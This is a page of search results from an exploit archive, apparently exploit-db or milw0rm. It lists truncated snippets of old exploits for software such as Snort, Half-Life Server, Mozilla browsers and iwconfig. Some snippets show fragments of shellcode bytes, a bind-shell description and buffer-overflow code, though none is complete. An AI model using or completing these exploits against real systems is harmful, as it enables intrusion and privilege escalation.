7549 matches found
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)
/ Due to many responses i've improved the exploit to cover more systems! ONGBAK v0.9 october 24th 05 """""""""""""""""""""""""""""""""""" o universal "shellcode" added o try to use all possible memory regions o bugfixes qobaiashi@voyager:/w00nf/kernelsploit ./ongbak -100222 -|-bluez local root...
Snort 2.4.2 - Back Orifice Parsing Remote Buffer Overflow
/ THCsnortbo 0.3 - Snort BackOrifice PING exploit by [email protected] THC PUBLIC SOURCE MATERIALS Bug was found by Internet Security Systems http://xforce.iss.net/xforce/alerts/id/207 v0.3 - removed/cleaned up info for public release v0.2 - details added, minor changes v0.1 - first release Greetz to al...
Veritas NetBackup 6.0 (Linux) - bpjava-msvc Remote Command Execution
Veritas NetBackup 6.0 Linux - bpjava-msvc Remote Command Execution !/usr/bin/perl VERITAS-Linux.pl - VERITAS NetBackup Format Strings Linux/x86 Remote Exploit johnhatdigitalmunitiondotcom bug found by kflistsatdigitalmunitiondotcom http://www.digitalmunition.com/ use POSIX; use IO::Socket; use...
Half-Life Server 3.1.1.0 - Remote Buffer Overflow
/ hoagiehlserver.c Remote exploit for Halflife-Servers. Binds a shell to port 30464/tcp and connects to it. Author: [email protected] This hole was found by Auriemma Luigi. Uses code from the proof-of-concept DoS-exploit by Auriemma Luigi. Tested with HL-Server v3.1.1.0. Works only with the Linux...
Half-Life Server 3.1.1.0 - Remote Buffer Overflow
Half-Life Server 3.1.1.0 - Remote Buffer Overflow / hoagiehlserver.c Remote exploit for Halflife-Servers. Binds a shell to port 30464/tcp and connects to it. Author: [email protected] This hole was found by Auriemma Luigi. Uses code from the proof-of-concept DoS-exploit by Auriemma Luigi. Tested wit...
Half-Life Server 3.1.1.0 Remote Buffer Overflow Exploit
Exploit for linux platform in category remote exploits ======================================================= Half-Life Server 3.1.1.0 Remote Buffer Overflow Exploit ======================================================= / hoagiehlserver.c Remote exploit for Halflife-Servers. Binds a shell to...
Prozilla 1.3.7.4 - 'ftpsearch' Results Handling Buffer Overflow
include include include define OVERFLOW 1"; buf = mallocOVERFLOW; for i = 0; buf + i "; buf = reallocbuf, SLEDSIZ + sizeofshellcode; memsetbuf, 0x90, SLEDSIZ; memcpybuf + SLEDSIZ, shellcode, sizeofshellcode; fwritebuf, SLEDSIZ + sizeofshellcode, 1, exploit; freebuf; fprintfstderr, " %s created.\n...
RealPlayer/Helix Player Remote Format String Exploit (linux)
Exploit for linux platform in category remote exploits ============================================================ RealPlayer/Helix Player Remote Format String Exploit linux ============================================================ / $ An open security advisory 13 - RealPlayer and Helix Playe...
pwnzilla.txt
/ SSSSSSS, SSSSSSS' PwnZilla 5 - One sploit fits all. FireFox optimized iSY iS; .sS Exploit for IDN host name heap buffer overrun in .SSSSSSS .sS Mozilla browsers FireFox, Mozilla and Netscape iS; .sS Copyright C 2003-2005 by Berend-Jan Wever. .SS sSSSSSSP Official release:...
Mozilla Browsers 0xAD (HOST:) Remote Heap Buffer Overrun Expl (v2)
Exploit for unknown platform in category remote exploits ===================================================================== Mozilla Browsers 0xAD HOST: Remote Heap Buffer Overrun Exploit v2 ===================================================================== / SSSSSSS, SSSSSSS' PwnZilla 5 - O...
Mozilla Browsers 0xAD (HOST:) Remote Heap Buffer Overrun Exploit (v2)
No description provided by source. HTMLSCRIPT / SSSSSSS, SSSSSSS' PwnZilla 5 - One sploit fits all. FireFox optimized iSY iS; .sS Exploit for IDN host name heap buffer overrun in .SSSSSSS .sS Mozilla browsers FireFox, Mozilla and Netscape iS; .sS Copyright C 2003-2005 by Berend-Jan Wever. .SS...
Mercury Mail <= 4.01a (Pegasus) IMAP Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================ Mercury Mail www.milw0rm.com str0ke , I am sending it to you first dont doubt :d www.c0d3r.org study time started : , pitty for the c0d3r ! shout to actionspider read these lines...
Wireless Tools 26 (IWConfig) - Local Privilege Escalation
Wireless Tools 26 IWConfig - Local Privilege Escalation // if the iwconfig executable is setuid /str0ke include include include include / 45 Byte /bin/sh http://www.milw0rm.com/id.php?id=1169 https://www.exploit-db.com/exploits/1169/ / char shellcode= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"...
Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)
No description provided by source. // if the iwconfig executable is setuid /str0ke include stdio.h include string.h include unistd.h include stdlib.h / 45 Byte /bin/sh http://www.milw0rm.com/id.php?id=1169 / char shellcode= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89"...
VisualBoyAdvanced 1.7.x Local Shell Exploit (non suid) (updated)
Exploit for linux platform in category local exploits ================================================================ VisualBoyAdvanced 1.7.x Local Shell Exploit non suid updated ================================================================ / VisualBoyAdvanced 1.7.x BufferOver Flow exploit VB...
VisualBoyAdvanced 1.7.x - Non SUID Local Shell
VisualBoyAdvanced 1.7.x - Non SUID Local Shell / VisualBoyAdvanced 1.7.x BufferOver Flow exploit VBA - WEBSITE : vba.ngemu.com Found & coded by Qnix - Qnixatbsdmaildotorg / include char shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" / setuid /...
VisualBoyAdvanced 1.7.x Local Shell Exploit (non suid) (updated)
No description provided by source. / VisualBoyAdvanced 1.7.x BufferOver Flow exploit VBA - WEBSITE : vba.ngemu.com Found & coded by Qnix - Qnixatbsdmaildotorg / include stdlib.h char shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" / setuid /...
WebAdmin <= 2.0.4 USER Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================== WebAdmin 'Alt-N WebAdmin USER Buffer Overflow', 'Version' = '$Revision: 1.1 $', 'Authors' = 'y0 at w00t-shell.net', , 'Arch' = 'x86' , 'OS' = 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ,...
GNU Mailutils imap4d 0.6 (search) Remote Format String Exploit
No description provided by source. / GNU Mailutils 0.6 imap4d 'search' format string exploit. Ref: www.idefense.com/application/poi/display?id=303&type=vulnerabilities This silly exploit uses hardcoded values taken from GNU/Debian testing etch. $ ./imap4dsearchexpl -h 127.0.0.1 -p 143 -u clem1 -s...
GNU Mailutils imap4d 0.6 - 'Search' Remote Format String
/ GNU Mailutils 0.6 imap4d 'search' format string exploit. Ref: www.idefense.com/application/poi/display?id=303&type=vulnerabilities This silly exploit uses hardcoded values taken from GNU/Debian testing etch. $ ./imap4dsearchexpl -h 127.0.0.1 -p 143 -u clem1 -s PROUT + GNU Mailutils 0.6 imap4d...